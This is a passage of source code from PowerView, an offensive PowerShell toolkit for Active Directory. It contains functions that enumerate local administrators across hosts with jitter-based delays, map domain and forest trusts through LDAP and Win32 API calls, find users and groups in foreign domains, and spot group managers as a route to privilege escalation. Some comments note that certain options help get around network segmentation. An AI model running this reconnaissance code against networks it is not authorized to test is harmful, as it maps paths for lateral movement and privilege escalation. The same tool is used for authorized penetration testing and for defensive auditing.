$DebugPreference = 'Continue'

}

# random object for delay

$RandNo = New-Object System.Random

Write-Verbose "[\*] Running Invoke-EnumerateLocalAdmin with delay of $Delay"

# if we're using a host list, read the targets in and add them to the target list

if($ComputerFile) {

$ComputerName = Get-Content -Path $ComputerFile

}

if(!$ComputerName) {

[array]$ComputerName = @()

if($Domain) {

$TargetDomains = @($Domain)

}

elseif($SearchForest) {

# get ALL the domains in the forest to search

$TargetDomains = Get-NetForestDomain | ForEach-Object { $\_.Name }

}

else {

# use the local domain

$TargetDomains = @( (Get-NetDomain).name )

}

ForEach ($Domain in $TargetDomains) {

Write-Verbose "[\*] Querying domain $Domain for hosts"

$ComputerName += Get-NetComputer -Filter $ComputerFilter -ADSpath $ComputerADSpath -Domain $Domain -DomainController $DomainController

}

# remove any null target hosts, uniquify the list and shuffle it

$ComputerName = $ComputerName | Where-Object { $\_ } | Sort-Object -Unique | Sort-Object { Get-Random }

if($($ComputerName.Count) -eq 0) {

throw "No hosts found!"

}

}

# delete any existing output file if it already exists

if(!$NoClobber) {

if ($OutFile -and (Test-Path -Path $OutFile)) { Remove-Item -Path $OutFile }

}

if($TrustGroups) {

Write-Verbose "Determining domain trust groups"

# find all group names that have one or more users in another domain

$TrustGroupNames = Find-ForeignGroup -Domain $Domain -DomainController $DomainController | ForEach-Object { $\_.GroupName } | Sort-Object -Unique

$TrustGroupsSIDs = $TrustGroupNames | ForEach-Object {

# ignore the builtin administrators group for a DC (S-1-5-32-544)

# TODO: ignore all default built in sids?

Get-NetGroup -Domain $Domain -DomainController $DomainController -GroupName $\_ -FullData | Where-Object { $\_.objectsid -notmatch "S-1-5-32-544" } | ForEach-Object { $\_.objectsid }

}

# query for the primary domain controller so we can extract the domain SID for filtering

$DomainSID = Get-DomainSID -Domain $Domain -DomainController $DomainController

}

# script block that enumerates a server

$HostEnumBlock = {

param($ComputerName, $Ping, $OutFile, $DomainSID, $TrustGroupsSIDs, $API, $DomainOnly)

# optionally check if the server is up first

$Up = $True

if($Ping) {

$Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName

}

if($Up) {

# grab the users for the local admins on this server

if($API) {

$LocalAdmins = Get-NetLocalGroup -ComputerName $ComputerName -API

}

else {

$LocalAdmins = Get-NetLocalGroup -ComputerName $ComputerName

}

# if we just want to return cross-trust users

if($DomainSID) {

# get the local machine SID

$LocalSID = ($LocalAdmins | Where-Object { $\_.SID -match '.\*-500$' }).SID -replace "-500$"

Write-Verbose "LocalSid for $ComputerName : $LocalSID"

# filter out accounts that begin with the machine SID and domain SID

# but preserve any groups that have users across a trust ($TrustGroupSIDS)

$LocalAdmins = $LocalAdmins | Where-Object { ($TrustGroupsSIDs -contains $\_.SID) -or ((-not $\_.SID.startsWith($LocalSID)) -and (-not $\_.SID.startsWith($DomainSID))) }

}

if($DomainOnly) {

$LocalAdmins = $LocalAdmins | Where-Object {$\_.IsDomain}

}

if($LocalAdmins -and ($LocalAdmins.Length -ne 0)) {

# output the results to a csv if specified

if($OutFile) {

$LocalAdmins | Export-PowerViewCSV -OutFile $OutFile

}

else {

# otherwise return the user objects

$LocalAdmins

}

}

else {

Write-Verbose "[!] No users returned from $ComputerName"

}

}

}

}

process {

if($Threads) {

Write-Verbose "Using threading with threads = $Threads"

# if we're using threading, kick off the script block with Invoke-ThreadedFunction

$ScriptParams = @{

'Ping' = $(-not $NoPing)

'OutFile' = $OutFile

'DomainSID' = $DomainSID

'TrustGroupsSIDs' = $TrustGroupsSIDs

}

# kick off the threaded script block + arguments

if($API) {

$ScriptParams['API'] = $True

}

if($DomainOnly) {

$ScriptParams['DomainOnly'] = $True

}

Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads

}

else {

if(-not $NoPing -and ($ComputerName.count -ne 1)) {

# ping all hosts in parallel

$Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}}

$ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100

}

Write-Verbose "[\*] Total number of active hosts: $($ComputerName.count)"

$Counter = 0

ForEach ($Computer in $ComputerName) {

$Counter = $Counter + 1

# sleep for our semi-randomized interval

Start-Sleep -Seconds $RandNo.Next((1-$Jitter)\*$Delay, (1+$Jitter)\*$Delay)

Write-Verbose "[\*] Enumerating server $Computer ($Counter of $($ComputerName.count))"

$ScriptArgs = @($Computer, $False, $OutFile, $DomainSID, $TrustGroupsSIDs, $API, $DomainOnly)

Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $ScriptArgs

}

}

}

}

########################################################

#

# Domain trust functions below.

#

########################################################

function Get-NetDomainTrust {

<#

.SYNOPSIS

Return all domain trusts for the current domain or

a specified domain.

.PARAMETER Domain

The domain whose trusts to enumerate, defaults to the current domain.

.PARAMETER DomainController

Domain controller to reflect LDAP queries through.

.PARAMETER ADSpath

The LDAP source to search through, e.g. "LDAP://DC=testlab,DC=local".

Useful for global catalog queries ;)

.PARAMETER API

Use an API call (DsEnumerateDomainTrusts) to enumerate the trusts.

.PARAMETER LDAP

Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections.

More likely to get around network segmentation, but not as accurate.

.PARAMETER PageSize

The PageSize to set for the LDAP searcher object.

.EXAMPLE

PS C:\> Get-NetDomainTrust

Return domain trusts for the current domain using built in .NET methods.

.EXAMPLE

PS C:\> Get-NetDomainTrust -Domain "prod.testlab.local"

Return domain trusts for the "prod.testlab.local" domain using .NET methods

.EXAMPLE

PS C:\> Get-NetDomainTrust -LDAP -Domain "prod.testlab.local" -DomainController "PRIMARY.testlab.local"

Return domain trusts for the "prod.testlab.local" domain enumerated through LDAP

queries, reflecting queries through the "Primary.testlab.local" domain controller,

using .NET methods.

.EXAMPLE

PS C:\> Get-NetDomainTrust -API -Domain "prod.testlab.local"

Return domain trusts for the "prod.testlab.local" domain enumerated through API calls.

.EXAMPLE

PS C:\> Get-NetDomainTrust -API -DomainController WINDOWS2.testlab.local

Return domain trusts reachable from the WINDOWS2 machine through API calls.

#>

[CmdletBinding()]

param(

[Parameter(Position=0, ValueFromPipeline=$True)]

[String]

$Domain,

[String]

$DomainController,

[String]

$ADSpath,

[Switch]

$API,

[Switch]

$LDAP,

[ValidateRange(1,10000)]

[Int]

$PageSize = 200,

[Management.Automation.PSCredential]

$Credential

)

begin {

$TrustAttributes = @{

[uint32]'0x00000001' = 'non\_transitive'

[uint32]'0x00000002' = 'uplevel\_only'

[uint32]'0x00000004' = 'quarantined\_domain'

[uint32]'0x00000008' = 'forest\_transitive'

[uint32]'0x00000010' = 'cross\_organization'

[uint32]'0x00000020' = 'within\_forest'

[uint32]'0x00000040' = 'treat\_as\_external'

[uint32]'0x00000080' = 'trust\_uses\_rc4\_encryption'

[uint32]'0x00000100' = 'trust\_uses\_aes\_keys'

[uint32]'0x00000200' = 'cross\_organization\_no\_tgt\_delegation'

[uint32]'0x00000400' = 'pim\_trust'

}

}

process {

if(-not $Domain) {

# if not domain is specified grab the current domain

$SourceDomain = (Get-NetDomain -Credential $Credential).Name

}

else {

$SourceDomain = $Domain

}

if($LDAP -or $ADSPath) {

$TrustSearcher = Get-DomainSearcher -Domain $SourceDomain -DomainController $DomainController -Credential $Credential -PageSize $PageSize -ADSpath $ADSpath

$SourceSID = Get-DomainSID -Domain $SourceDomain -DomainController $DomainController

if($TrustSearcher) {

$TrustSearcher.Filter = '(objectClass=trustedDomain)'

$Results = $TrustSearcher.FindAll()

$Results | Where-Object {$\_} | ForEach-Object {

$Props = $\_.Properties

$DomainTrust = New-Object PSObject

$TrustAttrib = @()

$TrustAttrib += $TrustAttributes.Keys | Where-Object { $Props.trustattributes[0] -band $\_ } | ForEach-Object { $TrustAttributes[$\_] }

$Direction = Switch ($Props.trustdirection) {

0 { 'Disabled' }

1 { 'Inbound' }

2 { 'Outbound' }

3 { 'Bidirectional' }

}

$ObjectGuid = New-Object Guid @(,$Props.objectguid[0])

$TargetSID = (New-Object System.Security.Principal.SecurityIdentifier($Props.securityidentifier[0],0)).Value

$DomainTrust | Add-Member Noteproperty 'SourceName' $SourceDomain

$DomainTrust | Add-Member Noteproperty 'SourceSID' $SourceSID

$DomainTrust | Add-Member Noteproperty 'TargetName' $Props.name[0]

$DomainTrust | Add-Member Noteproperty 'TargetSID' $TargetSID

$DomainTrust | Add-Member Noteproperty 'ObjectGuid' "{$ObjectGuid}"

$DomainTrust | Add-Member Noteproperty 'TrustType' $($TrustAttrib -join ',')

$DomainTrust | Add-Member Noteproperty 'TrustDirection' "$Direction"

$DomainTrust.PSObject.TypeNames.Add('PowerView.DomainTrustLDAP')

$DomainTrust

}

$Results.dispose()

$TrustSearcher.dispose()

}

}

elseif($API) {

if(-not $DomainController) {

$DomainController = Get-NetDomainController -Credential $Credential -Domain $SourceDomain | Select-Object -First 1 | Select-Object -ExpandProperty Name

}

if($DomainController) {

# arguments for DsEnumerateDomainTrusts

$PtrInfo = [IntPtr]::Zero

# 63 = DS\_DOMAIN\_IN\_FOREST + DS\_DOMAIN\_DIRECT\_OUTBOUND + DS\_DOMAIN\_TREE\_ROOT + DS\_DOMAIN\_PRIMARY + DS\_DOMAIN\_NATIVE\_MODE + DS\_DOMAIN\_DIRECT\_INBOUND

$Flags = 63

$DomainCount = 0

# get the trust information from the target server

$Result = $Netapi32::DsEnumerateDomainTrusts($DomainController, $Flags, [ref]$PtrInfo, [ref]$DomainCount)

# Locate the offset of the initial intPtr

$Offset = $PtrInfo.ToInt64()

# 0 = success

if (($Result -eq 0) -and ($Offset -gt 0)) {

# Work out how much to increment the pointer by finding out the size of the structure

$Increment = $DS\_DOMAIN\_TRUSTS::GetSize()

# parse all the result structures

for ($i = 0; ($i -lt $DomainCount); $i++) {

# create a new int ptr at the given offset and cast the pointer as our result structure

$NewIntPtr = New-Object System.Intptr -ArgumentList $Offset

$Info = $NewIntPtr -as $DS\_DOMAIN\_TRUSTS

$Offset = $NewIntPtr.ToInt64()

$Offset += $Increment

$SidString = ""

$Result = $Advapi32::ConvertSidToStringSid($Info.DomainSid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()

if($Result -eq 0) {

Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)"

}

else {

$DomainTrust = New-Object PSObject

$DomainTrust | Add-Member Noteproperty 'SourceDomain' $SourceDomain

$DomainTrust | Add-Member Noteproperty 'SourceDomainController' $DomainController

$DomainTrust | Add-Member Noteproperty 'NetbiosDomainName' $Info.NetbiosDomainName

$DomainTrust | Add-Member Noteproperty 'DnsDomainName' $Info.DnsDomainName

$DomainTrust | Add-Member Noteproperty 'Flags' $Info.Flags

$DomainTrust | Add-Member Noteproperty 'ParentIndex' $Info.ParentIndex

$DomainTrust | Add-Member Noteproperty 'TrustType' $Info.TrustType

$DomainTrust | Add-Member Noteproperty 'TrustAttributes' $Info.TrustAttributes

$DomainTrust | Add-Member Noteproperty 'DomainSid' $SidString

$DomainTrust | Add-Member Noteproperty 'DomainGuid' $Info.DomainGuid

$DomainTrust.PSObject.TypeNames.Add('PowerView.APIDomainTrust')

$DomainTrust

}

}

# free up the result buffer

$Null = $Netapi32::NetApiBufferFree($PtrInfo)

}

else {

Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)"

}

}

else {

Write-Verbose "Could not retrieve domain controller for $Domain"

}

}

else {

# if we're using direct domain connections through .NET

$FoundDomain = Get-NetDomain -Domain $Domain -Credential $Credential

if($FoundDomain) {

$FoundDomain.GetAllTrustRelationships() | ForEach-Object {

$\_.PSObject.TypeNames.Add('PowerView.DomainTrust')

$\_

}

}

}

}

}

function Get-NetForestTrust {

<#

.SYNOPSIS

Return all trusts for the current forest.

.PARAMETER Forest

Return trusts for the specified forest.

.PARAMETER Credential

A [Management.Automation.PSCredential] object of alternate credentials

for connection to the target domain.

.EXAMPLE

PS C:\> Get-NetForestTrust

Return current forest trusts.

.EXAMPLE

PS C:\> Get-NetForestTrust -Forest "test"

Return trusts for the "test" forest.

#>

[CmdletBinding()]

param(

[Parameter(Position=0,ValueFromPipeline=$True)]

[String]

$Forest,

[Management.Automation.PSCredential]

$Credential

)

process {

$FoundForest = Get-NetForest -Forest $Forest -Credential $Credential

if($FoundForest) {

$FoundForest.GetAllTrustRelationships() | ForEach-Object {

$\_.PSObject.TypeNames.Add('PowerView.ForestTrust')

$\_

}

}

}

}

function Find-ForeignUser {

<#

.SYNOPSIS

Enumerates users who are in groups outside of their

principal domain. The -Recurse option will try to map all

transitive domain trust relationships and enumerate all

users who are in groups outside of their principal domain.

.PARAMETER UserName

Username to filter results for, wildcards accepted.

.PARAMETER Domain

Domain to query for users, defaults to the current domain.

.PARAMETER DomainController

Domain controller to reflect LDAP queries through.

.PARAMETER LDAP

Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections.

More likely to get around network segmentation, but not as accurate.

.PARAMETER Recurse

Switch. Enumerate all user trust groups from all reachable domains recursively.

.PARAMETER PageSize

The PageSize to set for the LDAP searcher object.

.LINK

http://blog.harmj0y.net/

#>

[CmdletBinding()]

param(

[String]

$UserName,

[String]

$Domain,

[String]

$DomainController,

[Switch]

$LDAP,

[Switch]

$Recurse,

[ValidateRange(1,10000)]

[Int]

$PageSize = 200

)

function Get-ForeignUser {

# helper used to enumerate users who are in groups outside of their principal domain

param(

[String]

$UserName,

[String]

$Domain,

[String]

$DomainController,

[ValidateRange(1,10000)]

[Int]

$PageSize = 200

)

if ($Domain) {

# get the domain name into distinguished form

$DistinguishedDomainName = "DC=" + $Domain -replace '\.',',DC='

}

else {

$DistinguishedDomainName = [String] ([adsi]'').distinguishedname

$Domain = $DistinguishedDomainName -replace 'DC=','' -replace ',','.'

}

Get-NetUser -Domain $Domain -DomainController $DomainController -UserName $UserName -PageSize $PageSize -Filter '(memberof=\*)' | ForEach-Object {

ForEach ($Membership in $\_.memberof) {

$Index = $Membership.IndexOf("DC=")

if($Index) {

$GroupDomain = $($Membership.substring($Index)) -replace 'DC=','' -replace ',','.'

if ($GroupDomain.CompareTo($Domain)) {

# if the group domain doesn't match the user domain, output

$GroupName = $Membership.split(",")[0].split("=")[1]

$ForeignUser = New-Object PSObject

$ForeignUser | Add-Member Noteproperty 'UserDomain' $Domain

$ForeignUser | Add-Member Noteproperty 'UserName' $\_.samaccountname

$ForeignUser | Add-Member Noteproperty 'GroupDomain' $GroupDomain

$ForeignUser | Add-Member Noteproperty 'GroupName' $GroupName

$ForeignUser | Add-Member Noteproperty 'GroupDN' $Membership

$ForeignUser

}

}

}

}

}

if ($Recurse) {

# get all rechable domains in the trust mesh and uniquify them

if($LDAP -or $DomainController) {

$DomainTrusts = Invoke-MapDomainTrust -LDAP -DomainController $DomainController -PageSize $PageSize | ForEach-Object { $\_.SourceDomain } | Sort-Object -Unique

}

else {

$DomainTrusts = Invoke-MapDomainTrust -PageSize $PageSize | ForEach-Object { $\_.SourceDomain } | Sort-Object -Unique

}

ForEach($DomainTrust in $DomainTrusts) {

# get the trust groups for each domain in the trust mesh

Write-Verbose "Enumerating trust groups in domain $DomainTrust"

Get-ForeignUser -Domain $DomainTrust -UserName $UserName -PageSize $PageSize

}

}

else {

Get-ForeignUser -Domain $Domain -DomainController $DomainController -UserName $UserName -PageSize $PageSize

}

}

function Find-ForeignGroup {

<#

.SYNOPSIS

Enumerates all the members of a given domain's groups

and finds users that are not in the queried domain.

The -Recurse flag will perform this enumeration for all

eachable domain trusts.

.PARAMETER GroupName

Groupname to filter results for, wildcards accepted.

.PARAMETER Domain

Domain to query for groups, defaults to the current domain.

.PARAMETER DomainController

Domain controller to reflect LDAP queries through.

.PARAMETER LDAP

Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections.

More likely to get around network segmentation, but not as accurate.

.PARAMETER Recurse

Switch. Enumerate all group trust users from all reachable domains recursively.

.PARAMETER PageSize

The PageSize to set for the LDAP searcher object.

.LINK

http://blog.harmj0y.net/

#>

[CmdletBinding()]

param(

[String]

$GroupName = '\*',

[String]

$Domain,

[String]

$DomainController,

[Switch]

$LDAP,

[Switch]

$Recurse,

[ValidateRange(1,10000)]

[Int]

$PageSize = 200

)

function Get-ForeignGroup {

param(

[String]

$GroupName = '\*',

[String]

$Domain,

[String]

$DomainController,

[ValidateRange(1,10000)]

[Int]

$PageSize = 200

)

if(-not $Domain) {

$Domain = (Get-NetDomain).Name

}

$DomainDN = "DC=$($Domain.Replace('.', ',DC='))"

Write-Verbose "DomainDN: $DomainDN"

# standard group names to ignore

$ExcludeGroups = @("Users", "Domain Users", "Guests")

# get all the groupnames for the given domain

Get-NetGroup -GroupName $GroupName -Filter '(member=\*)' -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize | Where-Object {

# exclude common large groups

-not ($ExcludeGroups -contains $\_.samaccountname) } | ForEach-Object {

$GroupName = $\_.samAccountName

$\_.member | ForEach-Object {

# filter for foreign SIDs in the cn field for users in another domain,

# or if the DN doesn't end with the proper DN for the queried domain

if (($\_ -match 'CN=S-1-5-21.\*-.\*') -or ($DomainDN -ne ($\_.substring($\_.IndexOf("DC="))))) {

$UserDomain = $\_.subString($\_.IndexOf("DC=")) -replace 'DC=','' -replace ',','.'

$UserName = $\_.split(",")[0].split("=")[1]

$ForeignGroupUser = New-Object PSObject

$ForeignGroupUser | Add-Member Noteproperty 'GroupDomain' $Domain

$ForeignGroupUser | Add-Member Noteproperty 'GroupName' $GroupName

$ForeignGroupUser | Add-Member Noteproperty 'UserDomain' $UserDomain

$ForeignGroupUser | Add-Member Noteproperty 'UserName' $UserName

$ForeignGroupUser | Add-Member Noteproperty 'UserDN' $\_

$ForeignGroupUser

}

}

}

}

if ($Recurse) {

# get all rechable domains in the trust mesh and uniquify them

if($LDAP -or $DomainController) {

$DomainTrusts = Invoke-MapDomainTrust -LDAP -DomainController $DomainController -PageSize $PageSize | ForEach-Object { $\_.SourceDomain } | Sort-Object -Unique

}

else {

$DomainTrusts = Invoke-MapDomainTrust -PageSize $PageSize | ForEach-Object { $\_.SourceDomain } | Sort-Object -Unique

}

ForEach($DomainTrust in $DomainTrusts) {

# get the trust groups for each domain in the trust mesh

Write-Verbose "Enumerating trust groups in domain $DomainTrust"

Get-ForeignGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -PageSize $PageSize

}

}

else {

Get-ForeignGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -PageSize $PageSize

}

}

function Find-ManagedSecurityGroups {

<#

.SYNOPSIS

This function retrieves all security groups in the domain and identifies ones that

have a manager set. It also determines whether the manager has the ability to add

or remove members from the group.

Author: Stuart Morgan (@ukstufus) <stuart.morgan@mwrinfosecurity.com>

License: BSD 3-Clause

.EXAMPLE

PS C:\> Find-ManagedSecurityGroups | Export-PowerViewCSV -NoTypeInformation group-managers.csv

Store a list of all security groups with managers in group-managers.csv

.DESCRIPTION

Authority to manipulate the group membership of AD security groups and distribution groups

can be delegated to non-administrators by setting the 'managedBy' attribute. This is typically

used to delegate management authority to distribution groups, but Windows supports security groups

being managed in the same way.

This function searches for AD groups which have a group manager set, and determines whether that

user can manipulate group membership. This could be a useful method of horizontal privilege

escalation, especially if the manager can manipulate the membership of a privileged group.

.LINK

https://github.com/PowerShellEmpire/Empire/pull/119

#>

# Go through the list of security groups on the domain and identify those who have a manager

Get-NetGroup -FullData -Filter '(managedBy=\*)' | Select-Object -Unique distinguishedName,managedBy,cn | ForEach-Object {

# Retrieve the object that the managedBy DN refers to

$group\_manager = Get-ADObject -ADSPath $\_.managedBy | Select-Object cn,distinguishedname,name,samaccounttype,samaccountname

# Create a results object to store our findings

$results\_object = New-Object -TypeName PSObject -Property @{

'GroupCN' = $\_.cn

'GroupDN' = $\_.distinguishedname

'ManagerCN' = $group\_manager.cn

'ManagerDN' = $group\_manager.distinguishedName

'ManagerSAN' = $group\_manager.samaccountname

'ManagerType' = ''

'CanManagerWrite' = $FALSE

}

# Determine whether the manager is a user or a group

if ($group\_manager.samaccounttype -eq 0x10000000) {

$results\_object.ManagerType = 'Group'

} elseif ($group\_manager.samaccounttype -eq 0x30000000) {

$results\_object.ManagerType = 'User'

}

# Find the ACLs that relate to the ability to write to the group

$xacl = Get-ObjectAcl -ADSPath $\_.distinguishedname -Rights WriteMembers

# Double-check that the manager

if ($xacl.ObjectType -eq 'bf9679c0-0de6-11d0-a285-00aa003049e2' -and $xacl.AccessControlType -eq 'Allow' -and $xacl.IdentityReference.Value.Contains($group\_manager.samaccountname)) {

$results\_object.CanManagerWrite = $TRUE

}

$results\_object

}

}

function Invoke-MapDomainTrust {

<#

.SYNOPSIS

This function gets all trusts for the current domain,

and tries to get all trusts for each domain it finds.

.PARAMETER LDAP

Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections.

More likely to get around network segmentation, but not as accurate.

.PARAMETER DomainController

Domain controller to reflect LDAP queries through.

.PARAMETER PageSize

The PageSize to set for the LDAP searcher object.

.PARAMETER Credential

A [Management.Automation.PSCredential] object of alternate credentials

for connection to the target domain.

.EXAMPLE

PS C:\> Invoke-MapDomainTrust | Export-CSV -NoTypeInformation trusts.csv

Map all reachable domain trusts and output everything to a .csv file.

.LINK

http://blog.harmj0y.net/

#>

[CmdletBinding()]

param(

[Switch]

$LDAP,

[String]

$DomainController,

[ValidateRange(1,10000)]

[Int]

$PageSize = 200,

[Management.Automation.PSCredential]

$Credential

)

# keep track of domains seen so we don't hit infinite recursion

$SeenDomains = @{}

# our domain status tracker

$Domains = New-Object System.Collections.Stack

# get the current domain and push it onto the stack

$CurrentDomain = (Get-NetDomain -Credential $Credential).Name

$Domains.push($CurrentDomain)

while($Domains.Count -ne 0) {

$Domain = $Domains.Pop()

# if we haven't seen this domain before

if ($Domain -and ($Domain.Trim() -ne "") -and (-not $SeenDomains.ContainsKey($Domain))) {

Write-Verbose "Enumerating trusts for domain '$Domain'"

# mark it as seen in our list

$Null = $SeenDomains.add($Domain, "")

try {

# get all the trusts for this domain

if($LDAP -or $DomainController) {

$Trusts = Get-NetDomainTrust -Domain $Domain -LDAP -DomainController $DomainController -PageSize $PageSize -Credential $Credential

}

else {

$Trusts = Get-NetDomainTrust -Domain $Domain -PageSize $PageSize -Credential $Credential

}

if($Trusts -isnot [System.Array]) {

$Trusts = @($Trusts)

}

# get any forest trusts, if they exist

if(-not ($LDAP -or $DomainController) ) {

$Trusts += Get-NetForestTrust -Forest $Domain -Credential $Credential

}

if ($Trusts) {

if($Trusts -isnot [System.Array]) {

$Trusts = @($Trusts)

}

# enumerate each trust found

ForEach ($Trust in $Trusts) {

if($Trust.SourceName -and $Trust.TargetName) {

$SourceDomain = $Trust.SourceName

$TargetDomain = $Trust.TargetName

$TrustType = $Trust.TrustType

$TrustDirection = $Trust.TrustDirection

$ObjectType = $Trust.PSObject.TypeNames | Where-Object {$\_ -match 'PowerView'} | Select-Object -First 1

# make sure we process the target

$Null = $Domains.Push($TargetDomain)

# build the nicely-parsable custom output object

$DomainTrust = New-Object PSObject

$DomainTrust | Add-Member Noteproperty 'SourceDomain' "$SourceDomain"

$DomainTrust | Add-Member Noteproperty 'SourceSID' $Trust.SourceSID

$DomainTrust | Add-Member Noteproperty 'TargetDomain' "$TargetDomain"

$DomainTrust | Add-Member Noteproperty 'TargetSID' $Trust.TargetSID

$DomainTrust | Add-Member Noteproperty 'TrustType' "$TrustType"

$DomainTrust | Add-Member Noteproperty 'TrustDirection' "$TrustDirection"

$DomainTrust.PSObject.TypeNames.Add($ObjectType)

$DomainTrust

}

}

}

}

catch {

Write-Verbose "[!] Error: $\_"

}

}

}

}

########################################################

#

# Expose the Win32API functions and datastructures below

# using PSReflect.

# Warning: Once these are executed, they are baked in

# and can't be changed while the script is running!

#

########################################################

$Mod = New-InMemoryModule -ModuleName Win32

# all of the Win32 API functions we need

$FunctionDefinitions = @(

(func netapi32 NetShareEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),

(func netapi32 NetWkstaUserEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),

(func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),

(func netapi32 NetLocalGroupGetMembers ([Int]) @([String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),

(func netapi32 DsGetSiteName ([Int]) @([String], [IntPtr].MakeByRefType())),

(func netapi32 DsEnumerateDomainTrusts ([Int]) @([String], [UInt32], [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType())),

(func netapi32 NetApiBufferFree ([Int]) @([IntPtr])),

(func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType()) -SetLastError),

(func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int]) -SetLastError),

(func advapi32 CloseServiceHandle ([Int]) @([IntPtr])),

(func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])),

(func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError),

(func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError),

(func wtsapi32 WTSFreeMemoryEx ([Int]) @([Int32], [IntPtr], [Int32])),

(func wtsapi32 WTSFreeMemory ([Int]) @([IntPtr])),

(func wtsapi32 WTSCloseServer ([Int]) @([IntPtr]))

)

# enum used by $WTS\_SESSION\_INFO\_1 below

$WTSConnectState = psenum $Mod WTS\_CONNECTSTATE\_CLASS UInt16 @{

Active = 0

Connected = 1

ConnectQuery = 2

Shadow = 3

Disconnected = 4

Idle = 5

Listen = 6

Reset = 7

Down = 8

Init = 9

}

# the WTSEnumerateSessionsEx result structure

$WTS\_SESSION\_INFO\_1 = struct $Mod WTS\_SESSION\_INFO\_1 @{

ExecEnvId = field 0 UInt32

State = field 1 $WTSConnectState

SessionId = field 2 UInt32

pSessionName = field 3 String -MarshalAs @('LPWStr')

pHostName = field 4 String -MarshalAs @('LPWStr')

pUserName = field 5 String -MarshalAs @('LPWStr')

pDomainName = field 6 String -MarshalAs @('LPWStr')

pFarmName = field 7 String -MarshalAs @('LPWStr')

}

# the particular WTSQuerySessionInformation result structure

$WTS\_CLIENT\_ADDRESS = struct $mod WTS\_CLIENT\_ADDRESS @{

AddressFamily = field 0 UInt32

Address = field 1 Byte[] -MarshalAs @('ByValArray', 20)

}

# the NetShareEnum result structure

$SHARE\_INFO\_1 = struct $Mod SHARE\_INFO\_1 @{

shi1\_netname = field 0 String -MarshalAs @('LPWStr')

shi1\_type = field 1 UInt32

shi1\_remark = field 2 String -MarshalAs @('LPWStr')

}

# the NetWkstaUserEnum result structure

$WKSTA\_USER\_INFO\_1 = struct $Mod WKSTA\_USER\_INFO\_1 @{

wkui1\_username = field 0 String -MarshalAs @('LPWStr')

wkui1\_logon\_domain = field 1 String -MarshalAs @('LPWStr')

wkui1\_oth\_domains = field 2 String -MarshalAs @('LPWStr')

wkui1\_logon\_server = field 3 String -MarshalAs @('LPWStr')

}

# the NetSessionEnum result structure

$SESSION\_INFO\_10 = struct $Mod SESSION\_INFO\_10 @{

sesi10\_cname = field 0 String -MarshalAs @('LPWStr')

sesi10\_username = field 1 String -MarshalAs @('LPWStr')

sesi10\_time = field 2 UInt32

sesi10\_idle\_time = field 3 UInt32

}

# enum used by $LOCALGROUP\_MEMBERS\_INFO\_2 below

$SID\_NAME\_USE = psenum $Mod SID\_NAME\_USE UInt16 @{

SidTypeUser = 1

SidTypeGroup = 2

SidTypeDomain = 3

SidTypeAlias = 4

SidTypeWellKnownGroup = 5

SidTypeDeletedAccount = 6

SidTypeInvalid = 7

SidTypeUnknown = 8

SidTypeComputer = 9

}

# the NetLocalGroupGetMembers result structure

$LOCALGROUP\_MEMBERS\_INFO\_2 = struct $Mod LOCALGROUP\_MEMBERS\_INFO\_2 @{

lgrmi2\_sid = field 0 IntPtr

lgrmi2\_sidusage = field 1 $SID\_NAME\_USE

lgrmi2\_domainandname = field 2 String -MarshalAs @('LPWStr')

}

# enums used in DS\_DOMAIN\_TRUSTS

$DsDomainFlag = psenum $Mod DsDomain.Flags UInt32 @{

IN\_FOREST = 1

DIRECT\_OUTBOUND = 2

TREE\_ROOT = 4

PRIMARY = 8

NATIVE\_MODE = 16

DIRECT\_INBOUND = 32

} -Bitfield

$DsDomainTrustType = psenum $Mod DsDomain.TrustType UInt32 @{

DOWNLEVEL = 1

UPLEVEL = 2

MIT = 3

DCE = 4

}

$DsDomainTrustAttributes = psenum $Mod DsDomain.TrustAttributes UInt32 @{

NON\_TRANSITIVE = 1

UPLEVEL\_ONLY = 2

FILTER\_SIDS = 4

FOREST\_TRANSITIVE = 8

CROSS\_ORGANIZATION = 16

WITHIN\_FOREST = 32

TREAT\_AS\_EXTERNAL = 64

}

# the DsEnumerateDomainTrusts result structure

$DS\_DOMAIN\_TRUSTS = struct $Mod DS\_DOMAIN\_TRUSTS @{

NetbiosDomainName = field 0 String -MarshalAs @('LPWStr')

DnsDomainName = field 1 String -MarshalAs @('LPWStr')

Flags = field 2 $DsDomainFlag

ParentIndex = field 3 UInt32

TrustType = field 4 $DsDomainTrustType

TrustAttributes = field 5 $DsDomainTrustAttributes

DomainSid = field 6 IntPtr

DomainGuid = field 7 Guid

